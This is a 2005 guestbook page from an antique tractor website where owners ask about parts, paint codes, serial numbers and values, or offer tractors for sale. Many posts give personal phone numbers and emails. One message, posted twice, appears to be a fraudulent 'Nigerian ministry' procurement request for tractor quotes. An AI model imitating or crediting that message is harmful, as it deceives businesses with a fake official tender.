billy bob wrote on Sunday, July 03, 2005 (PDT):phil, i think what your saying about the h replacing the f-14 is a giant crock of shit.(sorry)im almost sure it replaced the f-20
billy bob wrote on Sunday, July 03, 2005 (PDT): my uncle has one. it is about a gas hog and a half
larry overton 11 859 336 5003 wrote on Sunday, July 03, 2005 (PDT):Ive got a general cletrac serial #1A129 i need info on this tractor
dave cheli wrote on Saturday, July 02, 2005 (PDT):dear sir, do you know where i could get a gas tank for my 800 tractor? thank you so much.. dave
michael Standryk wrote on Friday, July 01, 2005 (PDT):I really like these tractors, and am trying to paint mine, but I do not know the cream color paint code. If any body knows the code please send me an E-mail. Thanks.
Mary Lambert wrote on Friday, July 01, 2005 (PDT):My husband has a farmall tractor that he wire brushed and put rustoleum primer on. We would like to list it on e bay but don't know where to find the model number. It is a regular we believe from 1929 or older. It runs very good. Could you tell me where the model number is. thank you mary
Kevin L. Stewart wrote on Thursday, June 30, 2005 (PDT):I have a AC 500 front end loader for sale that I just took off a D17 tractor.
Don Hamill wrote on Wednesday, June 29, 2005 (PDT):Hi, I acquired a super 55 thinking it was junk. SUPRISE...Did not know what I had... Now I want to get it going. It is gas and everything seems to be there(dented but not real rusty sheet metal and all) Looking for hood, etc. Thanks, Don 214-202-1701
Bruce wrote on Wednesday, June 29, 2005 (PDT):I have a pair of rear fenders that came off of a 210 when it was brand new. We put a year-round cab on the tractor. The fenders were put away and not looked at for 20 yrs., and bird manure rusted a hole in one of them. That one needs a little repair work, but the other one is in good shape. Make me an offer.
Patrick Klein wrote on Wednesday, June 29, 2005 (PDT):My family has what I believe is a 1920 Titan Tractor 10-20 20 HP 500 RPM serial # 48211 chain driven. I am trying to find repair manuals color charts or any other information useful for restoring this tractor. It still runs but needs a lot of work. Any information would be greatly appreciated. Thanks.
Paul Askey "Ohio" wrote on Tuesday, June 28, 2005 (PDT):I Have both a '63 and '64 770 rowcrops. They have been alot more useful than the Two cylinder deere's and the lettered Farmalls that I had earlier owned.
Kenny Short wrote on Tuesday, June 28, 2005 (PDT):Nice tractor , i have one like only mine has a loader on it. (orignal) .
Carl B. Remy wrote on Monday, June 27, 2005 (PDT):I really need an Oliver Super99 Diesel in good working condition for plowing and heavy duty hauling. Will pick up personally. Any offers or leads will be most appreciated. Thank you. My cell phone in NY is 518-755-8178.
charley ishmael wrote on Monday, June 27, 2005 (PDT):i am in need of a oil filter element for a a ac the element is 6 3/4 tall and 5 15/16 inch across, any info would be appreciated
MC wrote on Sunday, June 26, 2005 (PDT):I have just purchased a IH 3414 Diesel Backhoe, would like to know the weight and length. I need this info for hauling this tractor home. Thanks for any info. MC
Elliott wrote on Sunday, June 26, 2005 (PDT):This was my first tractor that I ran when I was 9 for vmy dad. I loved them. Just got 1 last week and going to restore it. What is the right color code to paint this? Thanks and this looks real good.
Greg JOHNSON wrote on Sunday, June 26, 2005 (PDT):My father is looking for an Oliver 44 tractor, can anyone help? I would like to find one in iowa or the surrounding area. Thank you for your consideration.
Jake Guentzel wrote on Saturday, June 25, 2005 (PDT):Looking for any Massey 55 engine parts or complete engines, or tractors.
Roy Macus wrote on Friday, June 24, 2005 (PDT):I have a 1924 Fordson model F. This tractor has a Taco governor on it. The Wire from the flywheel mag unit is missing. If there is anyone who can tell me how it is hooked to the governor unit I would like to get a diagram or something explaining its hook up. Thank you for any information offered Roy marcus
Mark Borovich or Jerry Eklund wrote on Wednesday, June 22, 2005 (PDT):I have a JD MC I am looking for the final drive with hub. Please contact me by email or phone 1 906 932 3435
Roy C. Wolf wrote on Wednesday, June 22, 2005 (PDT):I am looking for a belt pulley for a 1940 John Deere Model "L" Serial # 633254; the spindle is on the left side of the tractor with two bolt holes for mounting the belt pulley; does anyone out there have one or know where I can get one. Thanks, rcw
Brian Underwood wrote on Monday, June 20, 2005 (PDT):I have just purchased a '42 Case VAC tractor that runs well. I'm looking for help on 3 point hitch conversions and locations of accessories (e.g., belly mower) I can buy. Thanks.
woody wrote on Sunday, June 19, 2005 (PDT):does anyone know or has pitures of how a deluxe and brackets mount on a cub?
Brian Asmussen wrote on Sunday, June 19, 2005 (PDT):I farmed in sw Ontario,always John Deere if any way possible? My best friend greew up on 2-cylinders, Now 25 years later He gave me the pleasure of ploughing his 45 acreshow hay field down with his fully restored 820 and 5-14"trail plough--------I,ll leave him my estate and first 3 kids for that pleasure, LOL
Michael wrote on Saturday, June 18, 2005 (PDT): I have a very nice MH Pacer 1954 most all orginal with a snow blade and a belly mower. Best offer $2500 New York area
Michael wrote on Saturday, June 18, 2005 (PDT): I have a very nice MH Pacer 1954 most all orginal with a snow blade and a belly mower. Best offer $2500
j.e. pedigo wrote on Friday, June 17, 2005 (PDT):just got 60 row crop. working but need rear tires. where would i look for right side grill?? also would like to know paint codes. pretty sure this is from 40 to 45. any help on serial numbers and exact dating also helpful. this one mowed hayfields along the ohio river, also helped in the planting of many tomatoes in the 50's and 60's. will now be family parade ride! thanks for site
Philip wrote on Friday, June 17, 2005 (PDT):I have a Ferguson SN T0-56903. Can anyone help me with the model and year? What is the value of a complete running tractor (not restored).??
Paul borchers wrote on Friday, June 17, 2005 (PDT): ive restored 1941 Case DC am showing it today,my [first,] in Crossville Tn,,i need a water pump for it would like to get it in Tn , i can pick it up , do you know of any Tractor parts in E Tenn,, Paul
jack mayes wrote on Wednesday, June 15, 2005 (PDT):I would like to find a g-706 for my wife. 1959 or later if anyone might have one for sale. Please email me.at JNNMYE at aol.com I have enjoyed the eb site. Thanks Jack Mayes
Jeremy Steinkamp wrote on Wednesday, June 15, 2005 (PDT):I have a BF AVERY FOR SALE model A wide front end 3 point hitch. Sheet metal great,tires fair,has run one year ago. Needs new wiring. IXB3 engine.year1945. Phone cell phone 812-216-2013 Home phone 812-358-3455
L. C. Pierce wrote on Wednesday, June 15, 2005 (PDT):I have a 1956 Model AC-B in excellent condition. Runs great, and it's amazing the power this little tractor has. My question is this, does anyone know if wheel weights were available on this model tractor. If so, does anyone have any for sale (front and back)?
Claude Bowers wrote on Tuesday, June 14, 2005 (PDT):I have a pony tractor that I acquired from my uncle. It is in good shape and was running when parked a couple of years ago. I plan to restore it and use it for hobby farming and utility work. I would like to get a repair manual if anyone has access to this. I am willing to pay for copying and shipping .
Galen Beck wrote on Monday, June 13, 2005 (PDT): I have a Rumley DoAll tractor, Wakashaw engine, Model XA282E Date on engine 1932 with the tricycle front and the final drive wheels that could be rotated to raise the tractor for cultivating. It has all the parts. The radiator is apart. The top tank is in good shape. The fuel tank has some rust holes in it. The engine is lose. Have all the lugs and front steering rings. Would sell.
dick meier wrote on Monday, June 13, 2005 (PDT):i am looking to buy a backhoe for my international 300 utility in oregon or washington state area
Chief. Bamidele F. Dada wrote on Monday, June 13, 2005 (PDT): From the Desk of;Chief. Bamidele Dada Ministry of Agriculture / Natural Resources ( MANR ) Block A 9th Floor , Herbert Macualay Way Central Business District Abuja, Nigeria Tel;00234 9 2728484 Fax;00234 9 2728484 Attention;The Antique Tractor Shed Dear Sir , SUPPLY AND PROCUREMENT OF EARTH MOVING EQUIPMENT AND CREANE TO THE MINISTRY OF AGRICULTURE AND NATURAL RESOURCES I am Chief.Bamidele F. Dada, the Group Deputy Director in-charge of procurement and supplies in the Ministry of Agriculture and Natural Resouces -a department in the Nigeria Ministry of Agriculture an establishment of the government of the Federal Republic of Nigeria. The MANR through my department intends to award specialized international contract for the supplies and procurements of CREANE TO MINISTRY OF AGRICULTURE AND NATURAL RESOURCES We shall be procuring the following; Ferguson TE-20 Ferguson 35 Ferguson TO-20 Ford 9N Ford 8N with Funk V8 Ford 8N Ford 8N with Funk 6-Cyl Ford 8N with Tracks Ford 541 Offset Workmaster Fordson Major Diesel Massey-Harris 81 Massey-Harris 44 Massey Harris Pacer No. 16 Massey Harris 22 Massey-Harris GP Cockshutt 30 Cockshutt 50 Cockshutt 40 Cockshutt 50 Deluxe I am writing to request that you provide to us with information and prices on your product range for our consideration. Please note that all prices must be calculated in the currency of the United States Dollars Costing should include shipment, freight to Lagos International Seaport, Apapa, Lagos Nigeria. I await your kind response please. Accept my highest assurance and best regards at all times. Thank you For; Ministry of Agriculture and Natural Resources Chief. Bamidele F. Dada
Chief. Bamidele F. Dada wrote on Monday, June 13, 2005 (PDT): From the Desk of;Chief. Bamidele Dada Ministry of Agriculture / Natural Resources ( MANR ) Block A 9th Floor , Herbert Macualay Way Central Business District Abuja, Nigeria Tel;00234 9 2728484 Fax;00234 9 2728484 Attention;The Antique Tractor Shed Dear Sir , SUPPLY AND PROCUREMENT OF EARTH MOVING EQUIPMENT AND CREANE TO THE MINISTRY OF AGRICULTURE AND NATURAL RESOURCES I am Chief.Bamidele F. Dada, the Group Deputy Director in-charge of procurement and supplies in the Ministry of Agriculture and Natural Resouces -a department in the Nigeria Ministry of Agriculture an establishment of the government of the Federal Republic of Nigeria. The MANR through my department intends to award specialized international contract for the supplies and procurements of CREANE TO MINISTRY OF AGRICULTURE AND NATURAL RESOURCES We shall be procuring the following; Ferguson TE-20 Ferguson 35 Ferguson TO-20 Ford 9N Ford 8N with Funk V8 Ford 8N Ford 8N with Funk 6-Cyl Ford 8N with Tracks Ford 541 Offset Workmaster Fordson Major Diesel Massey-Harris 81 Massey-Harris 44 Massey Harris Pacer No. 16 Massey Harris 22 Massey-Harris GP Cockshutt 30 Cockshutt 50 Cockshutt 40 Cockshutt 50 Deluxe I am writing to request that you provide to us with information and prices on your product range for our consideration. Please note that all prices must be calculated in the currency of the United States Dollars Costing should include shipment, freight to Lagos International Seaport, Apapa, Lagos Nigeria. I await your kind response please. Accept my highest assurance and best regards at all times. Thank you For; Ministry of Agriculture and Natural Resources Chief. Bamidele F. Dada
Dale Bowman wrote on Sunday, June 12, 2005 (PDT):Just acquired a Farmall A, Serial #FFA 194664. Was told it was a 1940 Super A. Is that correct? One cylinder is hung up. Needs fenders and tires for the most part. It appears the main part of the tractor was originally red and the sheet metal was blue. Have heard this could be a rare one but I doubt it. Anyone have any info?
james smith wrote on Sunday, June 12, 2005 (PDT):i am looking for a 1980 -1990 ford truck body just a shell i have new motor & transmission i just need a good body please help if you can.
Pamela Parker wrote on Saturday, June 11, 2005 (PDT):My husband recently pasted away,I really need to know a fair asking price on a breaking plow and a disc that he used with his 8n 1952 Ford tractor.
clark wrote on Thursday, June 09, 2005 (PDT):My dad had a 1950 john deere he just sold it a couple of days ago he restored the whole tractor there is no tractor like it I will miss tractor rides.
John Murray wrote on Wednesday, June 08, 2005 (PDT):I'm looking for a 19 inch steel threshing pulley for a McCormick Deering W30 or a F30 tractor. If anyone has one for sale or knows of one, please Email me at jmm1 at adelphia.net. Thanks...
john wrote on Wednesday, June 08, 2005 (PDT):what's a ford 800 with a front end loader worth? it's extremely dirty (been sitting outside for a few years). it seems to have many new parts (fuel pump, etc). and by the way, i cannot find a keyhole. how do you start the darn thing? i'd appreciate any comments, opinions, and feedback. also, is this stock with a 6 volt system?. i tried to jump start it with my truck, and charge it with my 12 volt charger. i learned in a nanosecond, that won't work. please advise. thankyou.
Dan Kauffman wrote on Wednesday, June 08, 2005 (PDT):It's interesting to read some of the questions posed by some of the writers. With so many sources of info and history on the internet regarding the Waterloo Boy, its conception and outgrowth, one could spend the day researching these interesting subjects - and all of the Deere history - and answer their own questions. Like power. . .12 HP at the drawbar, 25 at the belt of the F; the R with one fwd speed & rev; the N with two fwd at 2 and 2.6 mph plus rev; etc. What does an R look like? ERTL makes precision classic models which could answer those questions. Models can be found on E-bay under Farm Toys. Do I get any change back from my 2c?
calvin stoltz wrote on Wednesday, June 08, 2005 (PDT):I got a 1066 with about 5000 +/- 200 hrs on it. I grew up in MN (that's where the tractor is) and went in the Marines in 1982. It was on my Dad's farm who passed away Feb 2004. Someone stoled the starter off it years ago and he just let it sit. I going to the farm 6-28-05 for 10 days to maybe sell it on Ebay or something, whats it worth? cgstoltz at hotmail.com
calvin stoltz wrote on Wednesday, June 08, 2005 (PDT):I got a 1066 with about 5000 +/- 200 hrs on it. I grew up in MN (that's where the tractor is) and went in the Marines in 1982. It was on my Dad's farm who passed away Feb 2004. Someone stoled the starter off it years ago and he just let it sit. I going to the farm 6-28-05 for 10 days to maybe sell it on Ebay or something, whats it worth? cgstoltz at hotmail.com
Karl Brown wrote on Wednesday, June 08, 2005 (PDT):I'm lookin for a narrow front end for a D-17 I've had no luck maybe some one could point me in the right direction. Thanks
Randal Tillery wrote on Wednesday, June 08, 2005 (PDT):I have a 1948 Farmall A, and I'm looking for any and all implements that fit it including cultivators, plow, belly mower, disks, etc. I'm also looking for a working or at least complete pneumatic lift-all for it and any of the attachments that use the lift all. I'm also wondering if anyone knows whether any of the Cub implements are compatible with the A. Thanks, Randy
Allen Stanfill wrote on Wednesday, June 08, 2005 (PDT):I have a wd45 tactor gas engine trycycle front end pto hydraulic lift snap coupler ECT. 12 volt Tractor looks bad but runs drives pto and hydraulics work Engine has or had a crack in the block behind carb someone patched before I got the Tractor but does not seem to affect the operation of the tractor and no leaks around area. I would like to sell tractor for $1200.00 dollars If any one is interested would be a great one to restore. Western KY area.
Allen Stanfill wrote on Wednesday, June 08, 2005 (PDT):I have a wd45 tactor gas engine trycycle front end pto hydraulic lift snap coupler ECT. 12 volt Tractor looks bad but runs drives pto and hydraulics work Engine has or had a crack in the block behind carb someone patched before I got the Tractor but does not seem to affect the operation of the tractor and no leaks around area. I would like to sell tractor for $1200.00 dollars If any one is interested would be a great one to restore. Western KY area.
dfred wrote on Tuesday, June 07, 2005 (PDT):I have found a WD with the serial # 45-26727G. I think this is a 1949 WD. Can anyone tell what the number 45 stands for in front of the serial numbers?
Norman Simpson wrote on Tuesday, June 07, 2005 (PDT):I have a B.F.Avery 1947 in good working condition located in Brasher Falls,New York.All original including a sickell-bar mower/tire chains,snow blade contact me for a price.Must sell do to health.
charles wrote on Monday, June 06, 2005 (PDT):i have a 8n ford tractor with funk flathead six is in good shape very little rust i want to sale or possible trade
mitchell cain wrote on Monday, June 06, 2005 (PDT):I have two 220 landhandlers 1969 and a 1970 in process of restoring the 1969 modle need a set of rear fenders. IF you can help please E-MAIL ME THANKS starting to sand primer M.CAIN
Gerald Rader wrote on Sunday, June 05, 2005 (PDT):John Deere made a 3 cyl 820 biginning in 1968 and ending in 1973. Different than the machine in the discussion, but a ligitimate 820.
Terry wrote on Sunday, June 05, 2005 (PDT):I have a 1940 DI Case that I'm currently restoring. It has a mull loader on the front. I would like to know what the original color scheme of this tractor. I can't find any pictures any where. If any one has any knowledge of this, please let me know. Thanks.
Dale Anderson wrote on Sunday, June 05, 2005 (PDT):I just bought a Fordson major diesel with spun bearings (Perkins Diesel). It was run with a broken oil line. Any comments or advise as to rebuild or replacement? thanks. Dale
Lisa wrote on Sunday, June 05, 2005 (PDT):My brother-in-law has a McCormick Deering, model number 2236 The serial number is TG 147648 NV. It is a 1928 model with rubber tires. Can anyone direct me to more information about this tractor? Specifically the current value. He wants to sell it and has no idea what to ask. Thanks
Greg Cunningham wrote on Saturday, June 04, 2005 (PDT):A friend of mine just bought a 800 ford tractor.It has 800 ford on the front of the hood,new rear tires and runs like a sewing machine.No engine noise,a real sweet one.It has a bushog and plow that came with it that work fine.It has a 4cyl ohv engine.We want to restore it,but have no idea where to find orignal paint or parts.How many yrs did ford make the 800 tractor?? Thanks,Greg
Julie Mitchell wrote on Saturday, June 04, 2005 (PDT):We have an really old tractor that has iron tires with spikes and we do not know it's year. The tractor has been painted orange and the number are covered with the paint. I have taken pictures so if you would be interested in seeing the pictures, please email alamitoranch at yahoo.com, and I will send them. If you have other information we would appreciate your knowledge.
Bryan Brewer wrote on Friday, June 03, 2005 (PDT):My name is bryan brewer, I am looking for some information on an antique case steam powered tractor, that belonged to my great grandfather thomas newell, from troy grove il. area. I was told that when my great grandfather past that the tractor was picked up by case and put into one of there museums. any help locating this tractor or an actual picture of it would be greatly apretiated. Bryan Brewer
Butch Hull wrote on Friday, June 03, 2005 (PDT):I have a 1937 unstyled WC with the original wide front end on it . It runs great the tractor metal is real clean . Plowed with it this spring . Can any one tell me what this machine is worth. I understand that these are rare with this front end on it. I have looked in books and all over it talks of there rarety but tells nothing of its value. I caught a place once that said just that front end alone is worth $2000.00 . I am sending it through the paint parlor in about two weeks. Can any one tell me what it is worth please . Thank you all for this great site.
Gary Head wrote on Thursday, June 02, 2005 (PDT):Gordy - I have a ac160 for sale. The engine has been rebuilt and the muffler has been rerouted to the rear to keep low hanging tree branches from damaging the stack. It has the deisel engine and turf tires. The tractor is in good shape and is used weekly to pull a gang mower around my golf course.
THOMAS COLEY wrote on Thursday, June 02, 2005 (PDT):GREAT LOOKING TRACTOR.
THOMAS COLEY wrote on Thursday, June 02, 2005 (PDT):GREAT LOOKING TRACTOR.
Paul C. Daily wrote on Wednesday, June 01, 2005 (PDT):We are looking for a 1949 "G" John Deere that was purchased new from Barber & Conley John Deere, Eaton, Ohio in 1949. We know the "G" was sold to a Bob Yost who lived between West Elkton and Eaton, Ohio. Does anyone have any ideas for assisting with search? Do not have serial number. Thanks. Paul C. Daily
Curt Olson wrote on Wednesday, June 01, 2005 (PDT):how can I find A front end for a Model M-D High wide These are very rare I understand and so please e- mail be back.
Melody Ramsey wrote on Wednesday, June 01, 2005 (PDT):We have a D-17 Series IV that has the grill all messed up, but I don't know the year. The frame is good just the mesh.Please email me if you have one for sale or where to buy.thanks
Robert Smith wrote on Tuesday, May 31, 2005 (PDT):i have a 1941 ford 9n that runs good but continues to leak gas. it seems to be where the sediment bowl mets the cap. can anyone help please?
Casey Houghton wrote on Monday, May 30, 2005 (PDT):I used to work on a dairy in northern Vermont, when I was 16 i started running a IH 1066, I was always a farmall man and I have never been disapointed with an International product from My '41 A pulling tractor to the 444 thats in my f-250, right now I am looking at a 1566 with duals. Do any of you guys have an idea of what this would weigh. I want to strip her down, turn her up and embarass the heck out of the JD 4440s that are pulling locally in the farmstock pulls, Im leaning towards the 15 because stock it is 161 hp, but i have seen 10s with 225 hp so it is really a mater of weight any help would be greatly appreciated
Michael wrote on Monday, May 30, 2005 (PDT):Jim Broughton, Thanks for the info! I live in Tacoma WA, and as you stated, they are costly. This Cub runs very well, and has been maintained properly. The engine, transmission, and drive train have all been gone through. I plan on many years of enjoyment! I hope to join a tractor club once I get back from deployment from Iraq, which is scheduled for March of 2006. Thanks aagain!
Jim Broughton wrote on Sunday, May 29, 2005 (PDT):Michael; Per your serial number, your Cub is a 1950 model...price is subject to how you plan to use it and if any implements came with it...out here (Oregon) that price for just the tractoris a little high...but if you use it and it runs well, then...enjoy!! Jim
Michael wrote on Sunday, May 29, 2005 (PDT):I currently purchased a 1948-1950 Cub, and trying to find out more about it. I paid $3500 for it. Serial #107,333. It came with rear axle extensions, and a complete hydraulic set up for practically anything. What year is it,and how badly did I get raped on the price?
Al wrote on Sunday, May 29, 2005 (PDT):I have a 1947 hg I put an OC3 frame and running gear under it much stronger.It has a loader built by Americsn Tractor Co.L-HG in 1945 out of Oakland Calif.It has A bee-gee hydraulic pump mounted up front BGA215. I'm rebuilding the pump I hope but can't find parts (HELP) Does any one have info on American Tractor Crop.Thanks Al 209-296-5139
Al wrote on Sunday, May 29, 2005 (PDT):I have a 1947 hg I put an OC3 frame and running gear under it much stronger.It has a loader built by Americsn Tractor Co.L-HG in 1945 out of Oakland Calif.It has A bee-gee hydraulic pump mounted up front BGA215. I'm rebuilding the pump I hope but can't find parts (HELP) Does any one have info on American Tractor Crop.
adrian jackway wrote on Sunday, May 29, 2005 (PDT):Hi,I would just like to say i,ve recently trucked my pops,ole marshall home,and will hopefully restore it. from what I know its a series 2, and very poor condition after spending 30 years under trees not far from the coast. The only bonus being is the tinware complete with badges has been shedded, athough i have free,d the engine, and started derusting some of the smaller assemblies. Any imformation ,would be gratefulley apreciated. p/s they say money can,t buy love, but i,m gonna need money for this little baby.
Brian Thompson wrote on Sunday, May 29, 2005 (PDT):I recently purchased a 1967 550. I am in need of a front grill and front tin work. Any and all leads would be appreciated. Tractor came with Super Oliver 2 bottom plow, willing to sell. Call 515-249-4234 with part leads or interest in the plow. Thanks, Brian.
Don K. wrote on Saturday, May 28, 2005 (PDT): I own a 1941 H with a cab,YES A CAB, the guy I got it from redid tractor about 15 years ago, He pulled it off the neighbor's rock pile. It run's great but would like to put three pt. hitch on it. anyone have the plan's to make one? (to buy after market is nut's $$$$$$ ) Thank's
Amy Stafford wrote on Saturday, May 28, 2005 (PDT):I'm looking for engine overhaul kit for my dad. He Loves his international 756 gas engine tracter. But it needs help! So for father's day i want to find a dealer that has a kit. My brother will do the work. Please have any info tell me. I looked every where!
Frank Wilford wrote on Saturday, May 28, 2005 (PDT):Hope someone can help with this question. What could be the reason that the tractor engine sounds great but when put into gear it will not move forward in any gear or reverse? Was bush hogging and it just stopped! Help me, I am mechanically crippled.
RICHARD wrote on Friday, May 27, 2005 (PDT):I PURCHASED 1959 OC-46-3G TRACK LOADER LAST FALL IT STARTS AND RUNS GREAT USED IT LAST WINTER TO PUSH SNOW,GREAT COLD START. PREVIOUS OWNER INSTALL ELECTRIC FUEL PUMP,WIRED DIRECT,I INSTALL AN INLINE SWITCH PREVENT FLOODING AND DRAINING BATTERY, UNDERCARRIAGE IS LITTLE ROUGH,SOME REAR OIL LEAKS. WOULD LIKE TO RESTORE OC-46 LOOKING FOR NEW DISTRIBUTOR CAP, FUEL PUMP OR REBULD KIT,CARB KIT,LEFT DRIVE HUB,STUDS,REAR SEALS,AND GASKETS. PREVIOUS OWNER HAD ORIGINAL SHOP MANUEL ANYONE WITH LEAD ON PARTS WOULD BE APPRECIATED THANKS.
Dwight Bitikofer wrote on Thursday, May 26, 2005 (PDT):wayne smith, 1973 and 820 don’t fit together. Do you mean a 1957 820?
Ron Myer wrote on Thursday, May 26, 2005 (PDT):Im looking for an oliver 70 1947 industrial wide front end.I am looking for a parts tractor or if somebody has rear rims for the back tires I would be very interested in buying call(518)943-4073
IJ. Hendrick wrote on Thursday, May 26, 2005 (PDT):I'm an owner of a 1948 Farmall Cub, I'm living in The Frisian state of The Netherland in june (6-12)I wil visit Newport beach California, I,m seeking for a toolbox for my Cub. dit you now one in dat place or nearby. please contact me greetings to all Cub owners IJbele Hendrick
IJ. Hendrick wrote on Thursday, May 26, 2005 (PDT):I'm an owner of a 1948 Farmall Cub, I'm living in The Frisian state of The Netherland in june (6-12)I wil visit Newport beach California, I,m seeking for a toolbox for my Cub. dit you now one in dat place or nearby. please contact me greetings to all Cub owners IJbele Hendrick
J BRASWELL wrote on Wednesday, May 25, 2005 (PDT):i have a mid 60's super dexta and have trouble with the fuel system and getting it started any idea what to do.
gene astle wrote on Wednesday, May 25, 2005 (PDT):i have recently purchased what i thought was a 15-30 but after looking at many parts think it may be 22-36 if someone could point me in the direction of a manual and place to figure out what i have it would be greatly apprecaited HELP PLEASE email me thanks
Terrence Faul wrote on Wednesday, May 25, 2005 (PDT):Looking for a parts source for a 42' Allis Chalmers Model "M" crawler. Mine runs but I need a new throughout bearing. Any place I can purchase one?
Gregg Parodi wrote on Monday, May 23, 2005 (PDT):I have a 2000 that I need decals,seatcover,paint code anyone know where I could look?
T Smith wrote on Monday, May 23, 2005 (PDT):We have a 1941 or 1942 John Deere Model L tractor is good condition, rebuilt motor. We are wondering what the value is...does anyone know where we can get an appraisal.
Larry metzler wrote on Monday, May 23, 2005 (PDT):Ihave an"MT" And A 420 The 420 is still working and the MT is on Jacks. I am looking for brake parts for the 420. Lockhart Texas
wayne smith wrote on Saturday, May 21, 2005 (PDT):I have a 1973 John Deere model 820 with 3400 hours that belongs to my father's estate. It needs minor work but, otherwise, is in good shape. The Tractor Blue Book values it a $4000. I feel this is a bit low. Can anyone give me some accurate input on the value of this tractor?
becky wrote on Friday, May 20, 2005 (PDT):Hello everyone... I just had an oliver 550 1957 stolen from my property in Marshalville, Ohio. The tractor was running but I pulled the radiator to have it fixed. So there was no radiator. They also took my 7ft Woods brush Hog. I suspect they will part it out, sell it or try to find parts for it. If anyone has any suggestions for me Please Help..The police are limited to what they can do... Thanks bjace97 at yahoo.com
O. Cox wrote on Thursday, May 19, 2005 (PDT):I need a wiring diagram for a 54 Ford NAA farm tractor. It is 6 volt with a positive ground. If anyone can help me,please email this to me. Thanks
Lloyd wrote on Thursday, May 19, 2005 (PDT):I own a 300 utility. My INTERNATIONAL emblem is broken, does anyone know where to get them repaired or replaced. Thanks
Sam Moss wrote on Wednesday, May 18, 2005 (PDT):I recently bought a Ford tractor from a widowed farmer that knows nothing about this tractor. I have searched diligently for serial numbers. The tractor resembles the 500 series pictures. The only numbers I have been able to find are; 540-N-1000 which is a cast number located under starter and 5668137 stamped on the steering column. Can anyone help me with any information on this tractor? Any help would greatly be appreciated.
Richard wrote on Wednesday, May 18, 2005 (PDT):I have a 1949 C,which is needing a clutch,pressure plate etc.,can anyone direct me to a website I can purchase a manual which will give me the required steps for clutch replacement? Also,recommendations location for purchasing the required parts for this work?
Steve Lenhard wrote on Wednesday, May 18, 2005 (PDT):I have a farmall Cub with a 72" mowing deck I am selling. I am located 30 miles west of Philadelphia. The tractor starts and runs well and has been used for past 3 summers to mow my 4+ acre property. I will post more specific info (serial numbers, year, etc) when I look for them on the tractor. I would like to get $2200 for the tractor ( I paid 2950 3 years ago) and it runs just like when I got it. My phone # is 610 458-3668 If interested I can take pics to send in email as well. Thanks
Curt Cedergren wrote on Wednesday, May 18, 2005 (PDT):I have a Samson wrench stamped 1892. One end is for "wrist-pin only". Turn the wrench over and the other end is for "front cap-box only". I'd like information on what tractor this would be for and any other information on this wrench.
Gordy wrote on Tuesday, May 17, 2005 (PDT):Looking for an AC - 160 in the Midwest. Please email thanks
Tom Wolder wrote on Tuesday, May 17, 2005 (PDT):Please help me find a good service manuel for my Ford Super Dexta. I have no idea the year it is, it is desiel. The only # I found on it is 09D913145, the 4 is questionable. any ideas, thanks
Larry Robbins wrote on Tuesday, May 17, 2005 (PDT):My son bought a Z last week from a 86 year old gentelman. The tractor has been used very liitle and always kept in a shed. Little elbow grease and the Z looked like new again. It nice to see a 16-year-old continue with the Z were the older gentelman left off.
donald wrote on Tuesday, May 17, 2005 (PDT):well i would like to know what kind of horse power and torque these tractors put out. also what kind of pto they have. and if it has a 3 point hitch or not.
Lorne Kelsey - Saskatchewan wrote on Monday, May 16, 2005 (PDT): I operated one of these tractors when I was 15 and it was powerful; very few in the country now.
RALPH wrote on Monday, May 16, 2005 (PDT):ON APRIL 30 I ASK FOR SOME INF. ON MY PACER THE E-MAIL ADDERS WAS WRONG.THIS IS MY ADDERS MAINETWIG at WEBTV.NET
Dick Collins wrote on Sunday, May 15, 2005 (PDT):I am looking for front wheels for a Russell Road Grader
D Shelton wrote on Sunday, May 15, 2005 (PDT):I have a va trackter i wont to sel looks and runs great I need a buyer so i can get a back hoe so if interested please email me or call me at 707 995 1715 thanks dan
Earl Barnett wrote on Saturday, May 14, 2005 (PDT):I have a Farmall 350 Utility and would like to replace the standard steering with power steering. Does anyone know where one of these is which is on or off a salvage tractor? Thanks so much.
Tom Hutchinson wrote on Friday, May 13, 2005 (PDT):I recently had restored the 1931 John Deere GP that my father started farming with. My father's brother restored the engine about 35 years ago. It was stored inside until I had it restored completely over the last 6 months by Jack Cook of Monrovia Indiana. It truly looks like it just rolled off the assembly line. It is one of my proudest possessions. I'm looking forward to my first antique tractor show.
Wayne Morgan wrote on Friday, May 13, 2005 (PDT):I have a model A. dont know what year but the lift works off the exhaust. Runs good but need some lift parts any ideas? Also do you have any pictures? Thanks Wayne
Ron wrote on Thursday, May 12, 2005 (PDT):Looking for a tachometer cable and or seat for John Deere 420c Crawler. (south eastern michigan)
Dennis Ferguson wrote on Tuesday, May 10, 2005 (PDT):I have a 50's model cub in running condition with good tires. Could someone give me an idea of restoration cost?
Richard Tresselt wrote on Monday, May 09, 2005 (PDT):I bought a 1955 MM UBD (Diesel)picked it up off the Minnesota State Fair Grounds. First Tractor in the neighborhood that could pull four 16" plow! It was a wonderful machine for it's day! Only draw back was the fact that it was a bear to start once the temp got below Zero! I was so proud of that tractor, sure made a Farmal Super M (TA) look sick! Neighbor bought a MM 'G' Diesel that the biggest tractor around for awhile. MM Made good tractors! Just don't see too many around! Thanks, Richard
IHMAN3388 wrote on Monday, May 09, 2005 (PDT):I work on a dairy in western PA. We use all IH with around 15 running tractors in all that we use. There are more on a Farmall retirement plan that aren't used daily. WE have a cub, A, C, H, 2 Ms (1 with a picker), 584 overhauled, 4 1066s (3 open station all are white stripes) and a 1466 white cab. There is also a 5088 in the shop that has been in "overhaul" for a few years now. the shop needs to get their butts in gear. These tractors are great, the 1066's can't be beat for their looks, their engines and the Name. I wan't to buy a 10 for myself when I get my place. I only hope that inlcludes some acreage to use her on! ;)
sherri Galbreath wrote on Sunday, May 08, 2005 (PDT):I have a JD Model B tractor that still runs and am trying to restore it. I am looking for 2 used 13.6-38 tires some were in Texas. I'm willing to make a road trip to get them. If you have some or know someone willing to sale a pair please email me w/ info.
Brian Thompson wrote on Sunday, May 08, 2005 (PDT):I am looking to purchase a D-17 gas series III or IV. Please email me at brianandjill at mchsi.com. thanks.
Geraldine Martindale wrote on Saturday, May 07, 2005 (PDT):If anyone out there has any idea how much my tractor is worth, could you please e-mail me to let me know? My e-mail address is geraldinemrtdl at yahoo.com. Thank you so very much.
BRIAN wrote on Saturday, May 07, 2005 (PDT):I HAVE A 1941 VC FOR POSSIBLE SALE AND IT RUNS I BOUGHT WHEEL WIEGHTS AND FENDERS FOR IT AT AN AUCTION
david Crowley wrote on Friday, May 06, 2005 (PDT):I am trying to restore a 1937A John Deere tractor. I need a magneto, gas tank and rear tires to name a few. Please contact me with information or these parts,,,David Crowley
